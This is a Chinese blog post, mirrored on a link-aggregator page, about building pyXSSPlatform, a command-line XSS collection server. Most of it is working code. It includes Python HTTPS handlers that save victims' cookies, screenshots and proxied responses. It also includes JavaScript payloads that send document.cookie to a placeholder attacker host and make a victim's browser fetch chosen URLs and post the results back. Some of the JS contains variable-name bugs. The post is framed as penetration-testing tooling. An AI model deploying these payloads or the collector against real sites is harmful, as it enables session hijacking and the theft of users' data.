9

渗透工具开发——XSS平台的命令行实现

 3 years ago
source link: https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91-XSS%E5%B9%B3%E5%8F%B0%E7%9A%84%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%AE%9E%E7%8E%B0
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

渗透工具开发——XSS平台的命令行实现

11 Jun 2021

0x00 前言


通过XSS平台,能够便于对XSS漏洞进行测试,获得重要信息。目前,可供使用的在线XSS平台有很多,也可以尝试自己搭建XSS平台。 但是,如果测试目标无法出网,我们就需要在内网搭建一个轻量化的XSS平台,既要安装方便,又要支持跨平台。

我暂时没有找到合适的开源工具,于是打算使用Python编写一个命令行工具,提供XSS平台的功能

0x01 简介


本文将要介绍以下内容:

0x02 设计思路


参照XSS平台,命令行工具需要提供以下功能:

1.创建HTTPS服务器,提供WEB服务 2.区分不同的数据,提取出关键内容并保存 3.功能模块化,便于二次开发

0x03 实现细节


1.创建HTTPS服务器,提供WEB服务

首先需要创建证书,这里可以使用openssl,命令如下:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

生成证书文件https_svr_key.pem

创建HTTPS服务器的Python3测试代码如下:

from http.server import SimpleHTTPRequestHandler
from http import server
import ssl

class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        f = self.send_head()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

port =443
httpd =server.HTTPServer(("0.0.0.0", port),RequestHandler)

httpd.socket = ssl.wrap_socket(httpd.socket, certfile="https_svr_key.pem", server_side=True)

print("HTTTPS Server listening on 0.0.0.0:%d"%port)
httpd.serve_forever()

以上代码将会创建一个支持HTTPS协议的WEB服务器,功能同python -m SimpleHTTPServer 8000类似

2.区分不同的数据,提取出关键内容并保存

需要自定义处理模块RequestHandler,处理GET包和POST包

处理GET包的代码如下:

class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        f = self.send_head()
        if f:
            self.copyfile(f, self.wfile)
            f.close()
        print(self.headers["User-Agent"])
        if "/cookie" in self.path:
            localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())           
            savePath = self.client_address[0] + "-Cookie-" + str(localtime) + ".txt"
            print("[+] New Cookie: ")
            print("    Save as: " + savePath)
            cookieData = urllib.parse.unquote(self.path[15:])
            file = open(savePath,'wb')
            file.write(cookieData.encode())
            file.close()

其中,print(self.headers)用来输出GET请求的Header内容,可用于识别用户浏览器

为了获取用户Cookie,这里采用自定义格式,如果GET请求的地址带有cookie字符,将请求内容保存成文件,存储获得的用户Cookie

处理POST包的代码如下:

class RequestHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        data = "Success"
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.end_headers()
        self.wfile.write(data.encode("utf-8"))
        req_datas = self.rfile.read(int(self.headers["content-length"]))
        print(self.headers["User-Agent"])
        if self.path == "/screen":
            localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())           
            savePath = self.client_address[0] + "-CaptureScreen-" + str(localtime) + ".png"
            print("[+] New CaptureScreen: ")
            print("    Save as: " + savePath)
            base64str = urllib.parse.unquote(req_datas.decode())
            base64str = base64str[33:]
            imgData = base64.b64decode(base64str)
            file = open(savePath,'wb')
            file.write(imgData)
            file.close()
        elif self.path == "/data":
            localtime = time.strftime("%Y%m%d-%H%M%S", time.localtime())           
            savePath = self.client_address[0] + "-XMLHttpRequest-" + str(localtime) + ".html"
            httpData = urllib.parse.unquote(req_datas.decode())
            index = httpData.index(';data=')
            targetURL = httpData[9:index]
            responseData = httpData[index+6:]
            print("[+] New XMLHttpRequest")
            print("    TargetURL: " + targetURL)
            print("    Save as: " + savePath)
            file = open(savePath,'wb')
            file.write(responseData.encode())
            file.close()
        else:
            print(req_datas.decode())

以上代码会对POST包统一回复文本内容Success,状态码为200

对POST请求的地址进行判断,分别对应以下三个功能:

(1)保存用户屏幕截图

请求地址为/screen

从POST请求的参数中提取图像数据,作Base64解码后保存

(2)控制用户向指定地址发送http数据包,保存返回结果

请求地址为/data

从POST请求的参数中提取数据并保存

(3)默认功能

命令行输出POST请求的参数

注:

以上三个功能在提取数据内容时,需要使用urllib.parse.unquote()进行解码

3.功能模块化,便于二次开发

默认XSS平台的访问地址为:https://<xss platform url>/index.js

创建HTTPS服务器后,只需要编辑Python脚本同级目录下的index.js即可

这里介绍以下两个js脚本实现的功能:

(1)获取用户Cookie

读取用户Cookie可使用document.cookie

在回传Cookie数据时,为了避免跨域问题,可使用Image对象,示例代码如下:

var serverUrl = "https://<xss platform ip>/cookie";//change this
var newimg = new Image();   
newimg.src=serverUrl+"?cookie="+escape(document.cookie);

使用Image对象,只能发送GET请求,无法获得响应内容,只能通过onerror和onload事件判断是否响应

(2)通过js发送HTTP请求

HTTP请求支持GET和POST,还需要区分同步和异步方法

对于同步方法,调用一旦开始,调用者必须等到方法调用返回后才能继续后续的行为。为了将请求结果回传至服务器,可以通过return获得数据包的返回结果后再进行回传

对于异步方法,调用一旦开始,方法调用就会立即返回。为了将请求结果回传至服务器,这里可以通过回调函数callback实现

回调函数callback的简单理解:函数可以作为参数在另一个函数中被调用

例如如下代码:

function test1(callback)
{ 
    a=1     
    callback(a)
}
test1(function(x){console.log(x)})

执行代码后将在控制台输出1

综上,向指定url发送GET数据包,将请求结果回传至服务器可使用两种方法:

方法1:同步方法

function initialize() {
    var xmlHttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttp;
}
function getSynchronous(url) {
    var xmlHttp=initialize();
    xmlhttp.open("GET",url,false);
    xmlhttp.send();
    return xmlhttp.responseText;
}
function postSynchronous(url, data, type) {
    var xmlHttp=initialize();
    xmlhttp.open("POST",url,false);
    xmlhttp.setRequestHeader("Content-type",type);
    xmlhttp.send(encodeURIComponent(data));
    return xmlhttp.responseText;
}
var xmlhttp;
var serverUrl = "https://<xss platform ip>/data";
var targetUrl = "<target url>" + "?t=" + Math.random();
responseData=getSynchronous(targetUrl);
postSynchronous(serverUrl,"location=" + targetUrl + ";data=" + responseData, "application/x-www-form-urlencoded");

方法2:异步方法+回调函数

function initialize() {
    var xmlHttp;
    if (window.XMLHttpRequest)
    {// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else
    {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttp;
}
function getAsynchronous(url, callback) {
    var xmlHttp=initialize();
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            if (callback) 
            {
                callback(xmlhttp.responseText);
            }
        }
    }
}
function postAsynchronous(url, data, type, callback) {
    var xmlHttp=initialize();
    xmlhttp.open("POST",url,true);
    xmlhttp.setRequestHeader("Content-type",type);
    xmlhttp.send(encodeURIComponent(data));
    xmlhttp.onreadystatechange=function()
    {
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            if (callback) 
            {
                callback(a.responseText);
            }
        }
    }
}
var xmlhttp;
var serverUrl = "https://<xss platform ip>/data"
var targetUrl = "<target url>" + "?t=" + Math.random();
getAsynchronous(targetUrl, function(responseText){postAsynchronous(serverUrl, "location=" + targetUrl + ";data=" + responseText, "application/x-www-form-urlencoded", "");});

注:

发送请求时加了参数"?t=" + Math.random()是为了防止接收到服务器的缓存页面

对于Chrome浏览器,在发送HTTP请求时,如果进行跨域访问,Chrome会提示请求被CORS协议阻止,但不影响数据的发送和接收

0x04 开源代码


完整代码已开源,地址如下:

https://github.com/3gstudent/pyXSSPlatform

pyXSSPlatform可直接在命令行下运行,支持以下三个功能:

  • GetCookie,获得用户Cookie,保存为.txt文件
  • CaptureScreen,截取用户屏幕,保存为.png文件
  • GET/POST,控制用户向指定地址发送http数据包,结果保存为.html文件

使用方法:

(1)通过openssl生成自签名证书,命令示例:

openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes

(2)编辑文件index.js

填入要加载的js代码,代码模板可参考Payload_Template中的文件

(3)启动WEB服务器,命令示例:

pyXSSPlatform.py 192.168.1.1 443 https_svr_key.pem

此时,XSS平台的启动地址如下:

https://192.168.1.1/index.js

可随时修改index.js控制用户执行不同的功能

0x05 小结


本文介绍了通过Python搭建HTTPS服务器并在命令行实现XSS平台的方法,开源工具pyXSSPlatform,操作方便,支持跨平台运行,可进行二次开发。


LEAVE A REPLY


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK